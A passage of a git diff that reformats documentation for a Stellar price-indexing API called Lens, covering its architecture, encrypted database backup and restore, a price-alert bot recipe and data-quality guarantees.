--> PP + + PP --> BR + PS --> BR + + BR --> X402 + X402 --> REST + X402 --> GQL +``` + +## System Components + +### 1. Ingestion Layer +Lens utilizes two distinct ingestion strategies to maintain up-to-date pricing data: + +* **SDEX Ingester**: Streams trades directly from Stellar Horizon for watched asset pairs. It processes individual trade events in real-time, extracting price and volume data which is then persisted to the `price_points` table. +* **AMM Ingester**: Polls Horizon for liquidity pool snapshots and recent AMM trades. It stores pool reserves (Asset A/B amounts) in `pool_snapshots` and individual trades in `price_points`. This allows Lens to calculate spot prices based on reserve ratios even when no trades have occurred recently. + +### 2. Storage Layer +Data is stored in a PostgreSQL database optimized with declarative range partitioning and time-series indexing. +* **`price_points`**: A unified table for all trade events across both SDEX and AMM, range-partitioned by `timestamp` into daily partitions (`price_points_yYYYYmMMdDD`). Automatic background workers pre-create future partitions ahead of need. Partition retention via metadata-only `DROP TABLE` operations is opt-in (`PRICE_POINTS_DROP_EXPIRED=true`, default: off) to safeguard raw historical records until rollups are completed (#231). Query execution plans on recent time windows leverage PostgreSQL partition pruning to scan only active partitions and skip all historical data. +* **`pool_snapshots`**: Stores the reserve state of AMM liquidity pools, which is critical for slippage estimation and constant-product price calculations. + +### 3. Aggregation & Routing (`bestRoute`) +When a price is requested, the `bestRoute` engine compares the available liquidity on both SDEX and AMM: +* **SDEX Pricing**: Fetches real-time path payment quotes from Horizon to determine the effective rate for a specific trade size. +* **AMM Pricing**: Uses the constant-product formula (`x * y = k`) against the latest pool snapshots to estimate the output and slippage. +* **Optimal Routing**: Compares the rates and recommends the best execution path (SDEX, AMM, or a SPLIT for large orders) to minimize slippage for the user. + +### 4. API Layer & x402 Payment Gate +The system exposes both REST and GraphQL interfaces. To monetize the high-fidelity data, Lens implements the **x402 protocol**. + +The **x402 Payment Gate** is a middleware that intercepts requests to premium endpoints (like `/price`, `/pools`, and `/candles`). If a valid `x-payment` header containing a signed Stellar transaction is not present, the server returns a `402 Payment Required` status along with the payment requirements (price, destination address, and network). This ensures that every high-value API call is backed by a micropayment, enabling a "pay-per-query" business model. diff --git a/docs/backup-restore.md b/docs/backup-restore.md index 9f68733c..a79e55af 100644 --- a/docs/backup-restore.md +++ b/docs/backup-restore.md @@ -1,101 +1,101 @@ -# Backup and restore - -A dump of this database contains live credentials — `webhooks.secret` (HMAC -signing keys) and `api_keys` rows — and must never land anywhere -world-readable. GitHub Actions artifacts on this public repo are -world-readable, so the workflow only uploads an `age`-encrypted file. - -Nightly `pg_dump` of each network's Postgres. Lens stores price history in -**one database per network** even though every row now carries a `network` -discriminator (#114); restoring a mainnet dump into the testnet instance would -still mix networks in the same tables. See [DUAL_NETWORK.md](DUAL_NETWORK.md). - -Neon also has branching and point-in-time restore. Use that for short-window -accidents. The encrypted dump is the copy that survives a project delete or -a missed PITR window. - -The workflow is [`.github/workflows/db-backup.yml`](../.github/workflows/db-backup.yml): -cron `0 3 * * *` UTC plus `workflow_dispatch`. Encrypted artifacts are kept -**14 days**. - -## Secrets - -Add these on the GitHub repo (Settings → Secrets and variables → Actions). -Use the **direct** connection string, not the pooler: - -| Secret | What | -|--------|------| -| `DATABASE_URL_MAINNET` | mainnet Postgres (direct URI) | -| `DATABASE_URL_TESTNET` | testnet Postgres (direct URI) | -| `AGE_RECIPIENT` | `age` public key (`age1…`) | - -On Neon that means the host **without** `-pooler`, port **5432** (not 6543), -and `sslmode=require`. Prisma's pooled `DATABASE_URL` is the runtime URL; -`pg_dump` / `pg_restore` need the same class of URI as `DIRECT_DATABASE_URL`. - -Generate the keypair on a machine that is not the runner: - -```bash -age-keygen -o lens-backup.agekey -# public key line: age1… -``` - -Put only the public key in `AGE_RECIPIENT`. The identity file stays offline -(password manager / disk not in this repo). GitHub never sees it. - -A missing database URL skips that network (`SKIP : secret not -configured`). A missing `AGE_RECIPIENT` fails the job — it will not upload -plaintext. - -Do not put these URIs, the identity file, or a plaintext dump in the repo, -`.env.example`, or workflow YAML. - -## Download a dump - -1. Actions → **Nightly DB backup** → the run you want. -2. Artifacts: `lens-mainnet-` / `lens-testnet-`. -3. File inside: `lens--YYYYMMDD.dump.gz.age`. - -`workflow_dispatch` is the way to take a dump on demand (and to verify the -job once secrets are in place). - -## Restore into a fresh instance - -Do not `pg_restore` onto the live URL. Spin up an empty database, restore -there, then swap the deployment env. - -1. Create a new Neon project (or local Postgres). Match the dump's major - version; if `pg_restore` complains, install a client ≥ the server - (`postgresql-client-16` / `17` as needed). -2. Copy the **direct** URI for the new instance (`sslmode=require` on Neon). -3. Decrypt with the offline identity, then restore **one network per - instance**: - -```bash -age -d -i lens-backup.agekey \ - -o lens-mainnet-YYYYMMDD.dump.gz \ - lens-mainnet-YYYYMMDD.dump.gz.age - -gzip -dc lens-mainnet-YYYYMMDD.dump.gz \ - | pg_restore --no-owner --no-acl --dbname="$NEW_DIRECT_URL" -``` - -`pg_restore -l` on the gunzipped file lists the TOC if you want to inspect -before loading. Delete the decrypted `.dump.gz` when you are done. - -4. Point the matching Lens deployment at the new instance: - - `DATABASE_URL` — pooled URL is fine for the app - - `DIRECT_DATABASE_URL` — direct URL (Prisma `migrate deploy` / CLI) -5. Check `/status`, then one `/prices/history` (or GraphQL equivalent) for a - watched pair. -6. Rollback is swapping those two env vars back to the previous instance. - -Repeat independently for testnet with the testnet artifact and testnet -deployment. Never restore a mainnet dump into testnet, or the reverse. - -## Client notes - -Compose uses Postgres 15. Managed Neon may be 16/17. `pg_dump` / `pg_restore` -must be the same major as the server or newer. The workflow installs Ubuntu's -`postgresql-client` and `age`; bump the client package if dumps start failing -with a version error. +# Backup and restore + +A dump of this database contains live credentials — `webhooks.secret` (HMAC +signing keys) and `api_keys` rows — and must never land anywhere +world-readable. GitHub Actions artifacts on this public repo are +world-readable, so the workflow only uploads an `age`-encrypted file. + +Nightly `pg_dump` of each network's Postgres. Lens stores price history in +**one database per network** even though every row now carries a `network` +discriminator (#114); restoring a mainnet dump into the testnet instance would +still mix networks in the same tables. See [DUAL_NETWORK.md](DUAL_NETWORK.md). + +Neon also has branching and point-in-time restore. Use that for short-window +accidents. The encrypted dump is the copy that survives a project delete or +a missed PITR window. + +The workflow is [`.github/workflows/db-backup.yml`](../.github/workflows/db-backup.yml): +cron `0 3 * * *` UTC plus `workflow_dispatch`. Encrypted artifacts are kept +**14 days**. + +## Secrets + +Add these on the GitHub repo (Settings → Secrets and variables → Actions). +Use the **direct** connection string, not the pooler: + +| Secret | What | +|--------|------| +| `DATABASE_URL_MAINNET` | mainnet Postgres (direct URI) | +| `DATABASE_URL_TESTNET` | testnet Postgres (direct URI) | +| `AGE_RECIPIENT` | `age` public key (`age1…`) | + +On Neon that means the host **without** `-pooler`, port **5432** (not 6543), +and `sslmode=require`. Prisma's pooled `DATABASE_URL` is the runtime URL; +`pg_dump` / `pg_restore` need the same class of URI as `DIRECT_DATABASE_URL`. + +Generate the keypair on a machine that is not the runner: + +```bash +age-keygen -o lens-backup.agekey +# public key line: age1… +``` + +Put only the public key in `AGE_RECIPIENT`. The identity file stays offline +(password manager / disk not in this repo). GitHub never sees it. + +A missing database URL skips that network (`SKIP : secret not +configured`). A missing `AGE_RECIPIENT` fails the job — it will not upload +plaintext. + +Do not put these URIs, the identity file, or a plaintext dump in the repo, +`.env.example`, or workflow YAML. + +## Download a dump + +1. Actions → **Nightly DB backup** → the run you want. +2. Artifacts: `lens-mainnet-` / `lens-testnet-`. +3. File inside: `lens--YYYYMMDD.dump.gz.age`. + +`workflow_dispatch` is the way to take a dump on demand (and to verify the +job once secrets are in place). + +## Restore into a fresh instance + +Do not `pg_restore` onto the live URL. Spin up an empty database, restore +there, then swap the deployment env. + +1. Create a new Neon project (or local Postgres). Match the dump's major + version; if `pg_restore` complains, install a client ≥ the server + (`postgresql-client-16` / `17` as needed). +2. Copy the **direct** URI for the new instance (`sslmode=require` on Neon). +3. Decrypt with the offline identity, then restore **one network per + instance**: + +```bash +age -d -i lens-backup.agekey \ + -o lens-mainnet-YYYYMMDD.dump.gz \ + lens-mainnet-YYYYMMDD.dump.gz.age + +gzip -dc lens-mainnet-YYYYMMDD.dump.gz \ + | pg_restore --no-owner --no-acl --dbname="$NEW_DIRECT_URL" +``` + +`pg_restore -l` on the gunzipped file lists the TOC if you want to inspect +before loading. Delete the decrypted `.dump.gz` when you are done. + +4. Point the matching Lens deployment at the new instance: + - `DATABASE_URL` — pooled URL is fine for the app + - `DIRECT_DATABASE_URL` — direct URL (Prisma `migrate deploy` / CLI) +5. Check `/status`, then one `/prices/history` (or GraphQL equivalent) for a + watched pair. +6. Rollback is swapping those two env vars back to the previous instance. + +Repeat independently for testnet with the testnet artifact and testnet +deployment. Never restore a mainnet dump into testnet, or the reverse. + +## Client notes + +Compose uses Postgres 15. Managed Neon may be 16/17. `pg_dump` / `pg_restore` +must be the same major as the server or newer. The workflow installs Ubuntu's +`postgresql-client` and `age`; bump the client package if dumps start failing +with a version error. diff --git a/docs/cookbook/alert-bot.md b/docs/cookbook/alert-bot.md index 25ab77e8..4bdca161 100644 --- a/docs/cookbook/alert-bot.md +++ b/docs/cookbook/alert-bot.md @@ -1,208 +1,208 @@ -# Recipe: Price Alert Bot - -> Build a bot that notifies you the moment **XLM crosses a price you care -> about** — e.g. *"tell me when XLM goes above $0.15"*. - -This recipe wires the Lens real-time WebSocket price stream into a tiny -notifier. When the price crosses your threshold, the bot logs an alert and -(optionally) POSTs a signed payload to any HTTPS endpoint — Slack, Discord, -or your own service. - -A complete, runnable version of this recipe lives in -[`examples/alert-bot`](../../examples/alert-bot). Everything below explains -how it works so you can adapt it. - -## How it works - -``` -Lens indexer ──price:update──▶ /ws stream ──▶ alert bot ──crosses?──▶ notify -``` - -1. Lens ingests SDEX + AMM trades and emits a `price:update` whenever a - watched pair moves. -2. The `/ws` endpoint fans those updates out to connected clients as - `price_update` messages, with backpressure-aware coalescing. -3. The bot keeps the last price per pair and checks whether the move - **crossed** your threshold (not merely that it sits past it). Crossing - detection is the same `crossesThreshold` helper Lens uses internally, so - the bot and server agree on what "above" and "below" mean. -4. On a crossing, the bot notifies you and — if `ALERT_BOT_NOTIFY_URL` is - set — delivers an HMAC-signed JSON payload with retries. - -> **Crossing vs. level:** the bot fires on the *transition* (`0.14 → 0.16` -> crosses `0.15`), not on every tick above the line. That avoids alert -> spam while the price hovers past your threshold. - -## The `price_update` message - -Each frame from `/ws` looks like: - -```json -{ - "type": "price_update", - "assetA": "XLM", - "assetB": "USDC", - "previousPrice": 0.1487, - "currentPrice": 0.1502, - "timestamp": "2026-06-28T18:46:02.114Z" -} -``` - -The first frame on connect is a `{ "type": "status" }` message; if the -stream is x402-gated and you didn't pay, you'll get -`{ "type": "error", "status": 402, "requirements": { ... } }` instead (see -[Paying for the stream](#paying-for-the-stream)). - -## Worked example - -The bot below is the heart of [`examples/alert-bot/alert-bot.ts`](../../examples/alert-bot/alert-bot.ts). - -```typescript -import WebSocket from 'ws' -import { crossesThreshold } from '../../src/alerts' - -const WS_URL = process.env.ALERT_BOT_WS_URL ?? 'ws://localhost:3002/ws' -const config = { - assetA: 'XLM', - assetB: 'USDC', - threshold: 0.15, - direction: 'above' as const, // "above" | "below" -} - -const pair = [config.assetA, config.assetB].sort().join('/') -const ws = new WebSocket(WS_URL) - -ws.on('open', () => { - console.log(`watching ${config.assetA}/${config.assetB} ${config.direction} ${config.threshold}`) -}) - -ws.on('message', (data) => { - const msg = JSON.parse(data.toString()) - if (msg.type !== 'price_update') return - - // Match the pair regardless of asset order. - const got = [msg.assetA, msg.assetB].sort().join('/') - if (got !== pair) return - - if (crossesThreshold(config, msg.previousPrice, msg.currentPrice)) { - console.log(`ALERT: ${pair} is ${config.direction} ${config.threshold} — now ${msg.currentPrice}`) - // → POST to Slack/Discord, send a push, page yourself, etc. - } -}) -``` - -### Run it - -```bash -# 1. Start Lens (API + indexer) -docker compose up -d - -# 2. Configure the alert and run the bot -ALERT_BOT_THRESHOLD=0.15 ALERT_BOT_DIRECTION=above npm run alert:bot -``` - -Use `--once` to exit after the first alert (useful in tests/CI): - -```bash -npm run alert:bot -- --once -``` - -Expected output once XLM ticks past `0.15`: - -``` -[alert-bot] connected to ws://localhost:3002/ws — watching XLM/USDC above 0.15 -[alert-bot] ALERT XLM/USDC is above 0.15 — price 0.1502 at 2026-06-28T18:46:02.114Z -``` - -## Sending the alert somewhere real - -Set `ALERT_BOT_NOTIFY_URL` to any HTTPS endpoint and the bot will POST the -alert payload, signed with `X-Lens-Signature: hmac-sha256(secret, body)`: - -```bash -ALERT_BOT_THRESHOLD=0.15 \ -ALERT_BOT_NOTIFY_URL=https://hooks.slack.com/services/your/webhook \ -ALERT_BOT_NOTIFY_SECRET=my-shared-secret \ -npm run alert:bot -``` - -The body matches the Lens threshold-alert shape: - -```json -{ - "assetA": "XLM", - "assetB": "USDC", - "price": 0.1502, - "threshold": 0.15, - "direction": "above", - "timestamp": "2026-06-28T18:46:02.114Z" -} -``` - -Verify the signature on your side before trusting the payload: - -```typescript -import { createHmac, timingSafeEqual } from 'crypto' - -function verify(rawBody: string, header: string, secret: string): boolean { - const expected = createHmac('sha256', secret).update(rawBody).digest('hex') - return timingSafeEqual(Buffer.from(expected), Buffer.from(header)) -} -``` - -## Paying for the stream - -If the server sets `ORACLE_PAYMENT_ADDRESS`, the `/ws` stream is x402-gated -and the first frame will be a `402` with `requirements`. Sign a payment -with `@x402/stellar`, base64-encode it, and pass it via `ALERT_BOT_PAYMENT` -(sent as the `X-PAYMENT` header on connect). See the -[README payment walkthrough](../../README.md#4-nodejs--automatic-payment-with-x402fetch--x402stellar) -for how to produce that header. On testnet (the default), gating is off and -no payment is needed. - -## Server-side alternative: webhooks - -If you'd rather not keep a process connected, Lens can do the watching for -you. Register a webhook and Lens POSTs you (with the same HMAC signature) -when the threshold is crossed: - -```bash -curl -X POST http://localhost:3002/webhooks \ - -H 'Content-Type: application/json' \ - -d '{ - "url": "https://example.com/hooks/xlm", - "assetA": "XLM", - "assetB": "USDC", - "threshold": 0.15, - "direction": "above" - }' -# → { "id": "...", "secret": "..." } (store the secret to verify signatures) -``` - -Delete it with `DELETE /webhooks/:id`. Use the **bot** when you want local -control/custom logic, and **webhooks** when you want Lens to hold the -subscription. - -If delivery permanently fails, Lens stores the endpoint host, alert -payload, attempt count, final HTTP status (when available), failure category, -and first/last attempt times. URL credentials, paths, query parameters, -fragments, and the HMAC secret are excluded from the stored endpoint/record. Recent failures are -available to operators at `GET /admin/webhook-delivery-failures` with an -`X-Admin-Token` header; `limit` defaults to 25 and is capped at 100. Records are -retained for 30 days. They are diagnostic only and are not replayed -automatically, since a delayed threshold alert can be stale. - -## Live demo - -- **Interactive API explorer (GraphiQL):** run Lens locally and open - to query live prices that drive the - stream. -- **Published API reference:** -- **Local stream:** `ws://localhost:3002/ws` once `docker compose up -d` is - running. - -## See also - -- [`examples/alert-bot`](../../examples/alert-bot) — the full runnable bot -- [Architecture Overview](../architecture.md) -- [`examples/oracle-relay`](../../examples/oracle-relay) — push Lens prices on-chain +# Recipe: Price Alert Bot + +> Build a bot that notifies you the moment **XLM crosses a price you care +> about** — e.g. *"tell me when XLM goes above $0.15"*. + +This recipe wires the Lens real-time WebSocket price stream into a tiny +notifier. When the price crosses your threshold, the bot logs an alert and +(optionally) POSTs a signed payload to any HTTPS endpoint — Slack, Discord, +or your own service. + +A complete, runnable version of this recipe lives in +[`examples/alert-bot`](../../examples/alert-bot). Everything below explains +how it works so you can adapt it. + +## How it works + +``` +Lens indexer ──price:update──▶ /ws stream ──▶ alert bot ──crosses?──▶ notify +``` + +1. Lens ingests SDEX + AMM trades and emits a `price:update` whenever a + watched pair moves. +2. The `/ws` endpoint fans those updates out to connected clients as + `price_update` messages, with backpressure-aware coalescing. +3. The bot keeps the last price per pair and checks whether the move + **crossed** your threshold (not merely that it sits past it). Crossing + detection is the same `crossesThreshold` helper Lens uses internally, so + the bot and server agree on what "above" and "below" mean. +4. On a crossing, the bot notifies you and — if `ALERT_BOT_NOTIFY_URL` is + set — delivers an HMAC-signed JSON payload with retries. + +> **Crossing vs. level:** the bot fires on the *transition* (`0.14 → 0.16` +> crosses `0.15`), not on every tick above the line. That avoids alert +> spam while the price hovers past your threshold. + +## The `price_update` message + +Each frame from `/ws` looks like: + +```json +{ + "type": "price_update", + "assetA": "XLM", + "assetB": "USDC", + "previousPrice": 0.1487, + "currentPrice": 0.1502, + "timestamp": "2026-06-28T18:46:02.114Z" +} +``` + +The first frame on connect is a `{ "type": "status" }` message; if the +stream is x402-gated and you didn't pay, you'll get +`{ "type": "error", "status": 402, "requirements": { ... } }` instead (see +[Paying for the stream](#paying-for-the-stream)). + +## Worked example + +The bot below is the heart of [`examples/alert-bot/alert-bot.ts`](../../examples/alert-bot/alert-bot.ts). + +```typescript +import WebSocket from 'ws' +import { crossesThreshold } from '../../src/alerts' + +const WS_URL = process.env.ALERT_BOT_WS_URL ?? 'ws://localhost:3002/ws' +const config = { + assetA: 'XLM', + assetB: 'USDC', + threshold: 0.15, + direction: 'above' as const, // "above" | "below" +} + +const pair = [config.assetA, config.assetB].sort().join('/') +const ws = new WebSocket(WS_URL) + +ws.on('open', () => { + console.log(`watching ${config.assetA}/${config.assetB} ${config.direction} ${config.threshold}`) +}) + +ws.on('message', (data) => { + const msg = JSON.parse(data.toString()) + if (msg.type !== 'price_update') return + + // Match the pair regardless of asset order. + const got = [msg.assetA, msg.assetB].sort().join('/') + if (got !== pair) return + + if (crossesThreshold(config, msg.previousPrice, msg.currentPrice)) { + console.log(`ALERT: ${pair} is ${config.direction} ${config.threshold} — now ${msg.currentPrice}`) + // → POST to Slack/Discord, send a push, page yourself, etc. + } +}) +``` + +### Run it + +```bash +# 1. Start Lens (API + indexer) +docker compose up -d + +# 2. Configure the alert and run the bot +ALERT_BOT_THRESHOLD=0.15 ALERT_BOT_DIRECTION=above npm run alert:bot +``` + +Use `--once` to exit after the first alert (useful in tests/CI): + +```bash +npm run alert:bot -- --once +``` + +Expected output once XLM ticks past `0.15`: + +``` +[alert-bot] connected to ws://localhost:3002/ws — watching XLM/USDC above 0.15 +[alert-bot] ALERT XLM/USDC is above 0.15 — price 0.1502 at 2026-06-28T18:46:02.114Z +``` + +## Sending the alert somewhere real + +Set `ALERT_BOT_NOTIFY_URL` to any HTTPS endpoint and the bot will POST the +alert payload, signed with `X-Lens-Signature: hmac-sha256(secret, body)`: + +```bash +ALERT_BOT_THRESHOLD=0.15 \ +ALERT_BOT_NOTIFY_URL=https://hooks.slack.com/services/your/webhook \ +ALERT_BOT_NOTIFY_SECRET=my-shared-secret \ +npm run alert:bot +``` + +The body matches the Lens threshold-alert shape: + +```json +{ + "assetA": "XLM", + "assetB": "USDC", + "price": 0.1502, + "threshold": 0.15, + "direction": "above", + "timestamp": "2026-06-28T18:46:02.114Z" +} +``` + +Verify the signature on your side before trusting the payload: + +```typescript +import { createHmac, timingSafeEqual } from 'crypto' + +function verify(rawBody: string, header: string, secret: string): boolean { + const expected = createHmac('sha256', secret).update(rawBody).digest('hex') + return timingSafeEqual(Buffer.from(expected), Buffer.from(header)) +} +``` + +## Paying for the stream + +If the server sets `ORACLE_PAYMENT_ADDRESS`, the `/ws` stream is x402-gated +and the first frame will be a `402` with `requirements`. Sign a payment +with `@x402/stellar`, base64-encode it, and pass it via `ALERT_BOT_PAYMENT` +(sent as the `X-PAYMENT` header on connect). See the +[README payment walkthrough](../../README.md#4-nodejs--automatic-payment-with-x402fetch--x402stellar) +for how to produce that header. On testnet (the default), gating is off and +no payment is needed. + +## Server-side alternative: webhooks + +If you'd rather not keep a process connected, Lens can do the watching for +you. Register a webhook and Lens POSTs you (with the same HMAC signature) +when the threshold is crossed: + +```bash +curl -X POST http://localhost:3002/webhooks \ + -H 'Content-Type: application/json' \ + -d '{ + "url": "https://example.com/hooks/xlm", + "assetA": "XLM", + "assetB": "USDC", + "threshold": 0.15, + "direction": "above" + }' +# → { "id": "...", "secret": "..." } (store the secret to verify signatures) +``` + +Delete it with `DELETE /webhooks/:id`. Use the **bot** when you want local +control/custom logic, and **webhooks** when you want Lens to hold the +subscription. + +If delivery permanently fails, Lens stores the endpoint host, alert +payload, attempt count, final HTTP status (when available), failure category, +and first/last attempt times. URL credentials, paths, query parameters, +fragments, and the HMAC secret are excluded from the stored endpoint/record. Recent failures are +available to operators at `GET /admin/webhook-delivery-failures` with an +`X-Admin-Token` header; `limit` defaults to 25 and is capped at 100. Records are +retained for 30 days. They are diagnostic only and are not replayed +automatically, since a delayed threshold alert can be stale. + +## Live demo + +- **Interactive API explorer (GraphiQL):** run Lens locally and open + to query live prices that drive the + stream. +- **Published API reference:** +- **Local stream:** `ws://localhost:3002/ws` once `docker compose up -d` is + running. + +## See also + +- [`examples/alert-bot`](../../examples/alert-bot) — the full runnable bot +- [Architecture Overview](../architecture.md) +- [`examples/oracle-relay`](../../examples/oracle-relay) — push Lens prices on-chain diff --git a/docs/data-quality.md b/docs/data-quality.md index f41810ca..4be4d661 100644 --- a/docs/data-quality.md +++ b/docs/data-quality.md @@ -1,153 +1,153 @@ -# Lens Data Quality Guarantees - -This document formally states the data quality guarantees provided by Lens: freshness, completeness, precision, venue inclusion, and the explicit system behaviors when any guarantee is violated. Every numerical bound documented below links directly to the code or configuration that enforces it. - ---- - -## Freshness Guarantees - -Lens continuously aggregates order book trades and AMM liquidity pool snapshots across Stellar networks. The following freshness bounds are enforced: - -### Live Pricing Staleness Bound -A price response is considered fresh when its newest underlying trade observation occurred within [`300`](../src/aggregator/vwap.ts#L4) seconds ([`5`](../src/aggregator/vwap.ts#L4) minutes). When the newest observation age exceeds [`300`](../src/aggregator/vwap.ts#L4) seconds, the response explicitly sets `stale: true`. - -- **Enforcing Code**: [`src/aggregator/vwap.ts`](../src/aggregator/vwap.ts#L4) (`STALENESS_THRESHOLD_SECONDS`) -- **Violation Behavior**: The engine returns the last observed price alongside `stale: true` and `lastTradeAgeSeconds: ` (exceeding [`300`](../src/aggregator/vwap.ts#L4) seconds). Confidence rating degrades to `'low'`. - -### Confidence Rating Freshness Tiers -Every pricing response carries a categorical `confidence` rating derived from observation age and venue diversity: -- **High Confidence**: Requires an observation age under [`30`](../src/aggregator/vwap.ts#L5) seconds across at least [`2`](../src/aggregator/vwap.ts#L187) distinct sources with positive [`24`](../src/aggregator/vwap.ts#L181)h volume. -- **Medium Confidence**: Requires an observation age under [`300`](../src/aggregator/vwap.ts#L6) seconds. -- **Low Confidence**: Assigned when observation age equals or exceeds [`300`](../src/aggregator/vwap.ts#L6) seconds. -- **Unknown Confidence**: Assigned when no trades have ever been recorded (`lastTradeAgeSeconds === null`). -- **Enforcing Code**: [`src/aggregator/vwap.ts`](../src/aggregator/vwap.ts#L4) - -### Venue Ingestion Liveness Window -Venue adapters report network liveness on `/venues/registry`. A venue is marked `'live'` if a price point has been ingested within the last [`300000`](../src/routes/venues.ts#L7) ms ([`5`](../src/routes/venues.ts#L7) minutes). -- **Enforcing Code**: [`src/routes/venues.ts`](../src/routes/venues.ts#L7) (`LIVE_WINDOW_MS`) -- **Violation Behavior**: If no price points are observed within [`300000`](../src/routes/venues.ts#L7) ms, venue liveness transitions to `'stale'`. Disabled venues report `'disabled'`. - -### Ingestion Polling Intervals -- **SDEX Order Book & AMM Trades**: Horizon ingestion polls every [`5000`](../src/config.ts#L266) ms with a batch page size of [`200`](../src/config.ts#L267) records for SDEX and [`200`](../src/config.ts#L268) records for AMM pools. -- **Soroswap AMM Reserves**: Contract reserves poll via Soroban RPC every [`60000`](../src/config.ts#L178) ms. -- **Enforcing Code**: [`src/config.ts`](../src/config.ts#L266) (`pollIntervalMs`, `soroswapPollMs`) - -### Cache Expiration & Network Timeouts -- **Redis Price Cache TTL**: Aggregate prices are cached in Redis with a TTL of [`10`](../src/config.ts#L271) seconds. -- **Outbound HTTP Timeout**: External HTTP requests enforce a deadline timeout of [`10000`](../src/config.ts#L274) ms. -- **Enforcing Code**: [`src/config.ts`](../src/config.ts#L271) (`priceTtl`, `timeoutMs`) -- **Violation Behavior**: Outbound calls abort upon reaching [`10000`](../src/config.ts#L274) ms; ingester logs errors and retries on subsequent poll ticks. - -### Snapshot and Partition Retention -- **Pool Snapshot Pruning**: Historical liquidity pool snapshots older than [`30`](../src/jobs/snapshotRetention.ts#L12) days are pruned hourly in batches of [`1000`](../src/jobs/snapshotRetention.ts#L14) rows. -- **Price Point Partition Dropping**: Daily `price_points` partitions older than [`30`](../src/partitioning/pricePoints.ts#L5) days are dropped. -- **Enforcing Code**: [`src/jobs/snapshotRetention.ts`](../src/jobs/snapshotRetention.ts#L12), [`src/partitioning/pricePoints.ts`](../src/partitioning/pricePoints.ts#L5) - ---- - -## Completeness Guarantees - -### Multi-Venue Liquidity Aggregation -High confidence requires price observations from at least [`2`](../src/aggregator/vwap.ts#L187) distinct liquidity sources (e.g. SDEX and AMM pools). When only [`1`](../src/aggregator/vwap.ts#L187) source is active, confidence is limited to `'medium'`. - -### Statistical Outlier Rejection Thresholds -TWAP and VWAP computations apply statistical filtering to reject manipulation spikes: -- **Minimum Sample Count**: Outlier filtering requires at least [`4`](../src/pricing/twap.ts#L288) sample points. -- **Interquartile Range (IQR)**: Rejects samples beyond Q1 - [`1.5`](../src/pricing/twap.ts#L289) * IQR or Q3 + [`1.5`](../src/pricing/twap.ts#L289) * IQR. -- **Modified Z-Score**: Rejects samples with absolute score exceeding [`3.5`](../src/pricing/twap.ts#L290), using a consistency factor of [`0.6745`](../src/pricing/twap.ts#L291). -- **Enforcing Code**: [`src/pricing/twap.ts`](../src/pricing/twap.ts#L288) -- **Violation Behavior**: If fewer than [`4`](../src/pricing/twap.ts#L288) samples exist, filtering is bypassed (`outlierRejected` is zero). If [`0`](../src/pricing/twap.ts#L78) samples exist in the window, endpoints return zero TWAP and sample count. - -### Request Window & Parameter Bounds -- **TWAP Windows**: Window ranges from [`1`](../src/routes/price.ts#L8) to [`1440`](../src/routes/price.ts#L9) minutes (default [`60`](../src/routes/price.ts#L10) minutes). Sample intervals range from [`1`](../src/routes/price.ts#L11) to [`3600`](../src/routes/price.ts#L12) seconds (default [`60`](../src/routes/price.ts#L13) seconds). -- **VWAP Windows**: Window ranges from [`1`](../src/routes/price.ts#L15) to [`1440`](../src/routes/price.ts#L16) minutes (default [`60`](../src/routes/price.ts#L17) minutes). -- **Price History Limits**: Bucket count is capped at [`1000`](../src/api/rest.ts#L25) buckets (default [`100`](../src/api/rest.ts#L24) buckets). -- **Screener Pair Limits**: Pair count defaults to [`20`](../src/routes/screener.ts#L22) and is clamped between [`1`](../src/routes/screener.ts#L33) and [`100`](../src/routes/screener.ts#L23). -- **Spread Observations**: Venues must quote at least [`2`](../src/routes/spreads.ts#L20) observations in the window to report a spread. -- **Violation Behavior**: Inputs outside allowed ranges trigger HTTP [`400`](../src/routes/price.ts#L55) Bad Request with validation details. - ---- - -## Precision Guarantees - -### Database Storage Precision -- **Prices and VWAPs**: Stored as PostgreSQL `DECIMAL(`[`36`](../prisma/schema.prisma#L20)`, `[`18`](../prisma/schema.prisma#L20)`)` with [`18`](../prisma/schema.prisma#L20) decimal digits of fractional scale. -- **Stellar Native Reserves & Volumes**: Stored as PostgreSQL `DECIMAL(`[`36`](../prisma/schema.prisma#L21)`, `[`7`](../prisma/schema.prisma#L21)`)` matching Stellar's native [`7`](../prisma/schema.prisma#L21) decimal place stroop scale ([`1`](../prisma/schema.prisma#L21) stroop = [`0.0000001`](../prisma/schema.prisma#L21) XLM). -- **Enforcing Code**: [`prisma/schema.prisma`](../prisma/schema.prisma#L20) - -### API Boundary Serialization -- **Standard Default Mode**: Returns numbers as IEEE-[`754`](../src/types.ts#L20) double precision floating-point numbers (~[`15`](../src/types.ts#L20)-[`17`](../src/types.ts#L20) significant digits). -- **Exact String Representation Mode**: When negotiated via `X-Decimal-Format: string`, `Accept: application/json; decimals=strings`, or `?decimals=strings`, all decimal quantities serialise as exact strings without floating-point truncation. -- **Enforcing Code**: [`prisma/schema.prisma`](../prisma/schema.prisma#L20), [`src/types.ts`](../src/types.ts#L20) -- **Violation Behavior**: Consumers that require exact [`18`](../prisma/schema.prisma#L20)-decimal precision must negotiate string format; unnegotiated requests receive standard JSON numbers for backward compatibility. - ---- - -## Venue Inclusion Guarantees - -Lens integrates [`4`](../src/ingest/venues/index.ts#L19) registered venue adapters: - -| Venue | Identifier | Kind | Testnet | Mainnet | Included In | Enforcing Code | -|---|---|---|---|---|---|---| -| **Stellar Decentralized Exchange (SDEX)** | `sdex` | `orderbook` | Enabled | Enabled | VWAP, Best Route, Depth, Book, Volumes, Spreads | [`src/ingest/venues/sdex.ts`](../src/ingest/venues/sdex.ts#L174) | -| **Stellar Native Liquidity Pools (AMM)** | `stellar-amm` | `amm` | Enabled | Enabled | Spot, Pools, Best Route, Depth, Book, Volumes | [`src/ingest/venues/amm.ts`](../src/ingest/venues/amm.ts#L237) | -| **Soroswap AMM** | `soroswap` | `amm` | Enabled | Enabled | Price aggregation, multi-venue pools | [`src/ingest/venues/soroswap.ts`](../src/ingest/venues/soroswap.ts#L326) | -| **Aquarius AMM** | `aquarius` | `amm` | Disabled | Enabled | Mainnet liquidity pool aggregation | [`src/ingest/venues/aquarius.ts`](../src/ingest/venues/aquarius.ts#L111) | - -- **Reflector Oracle**: Used optionally for oracle benchmark comparison (`/compare/:asset`) and GraphQL oracle resolution. Disabled by default unless configured. -- **Enforcing Code**: [`src/ingest/venues/index.ts`](../src/ingest/venues/index.ts#L19), [`src/config.ts`](../src/config.ts#L171) - ---- - -## Violation Semantics Summary - -When a data quality guarantee is breached, Lens behaves deterministically: - -- **Stale Observation (age >= [`300`](../src/aggregator/vwap.ts#L4) s)**: Returns the last known price marked with `stale: true` and downgraded 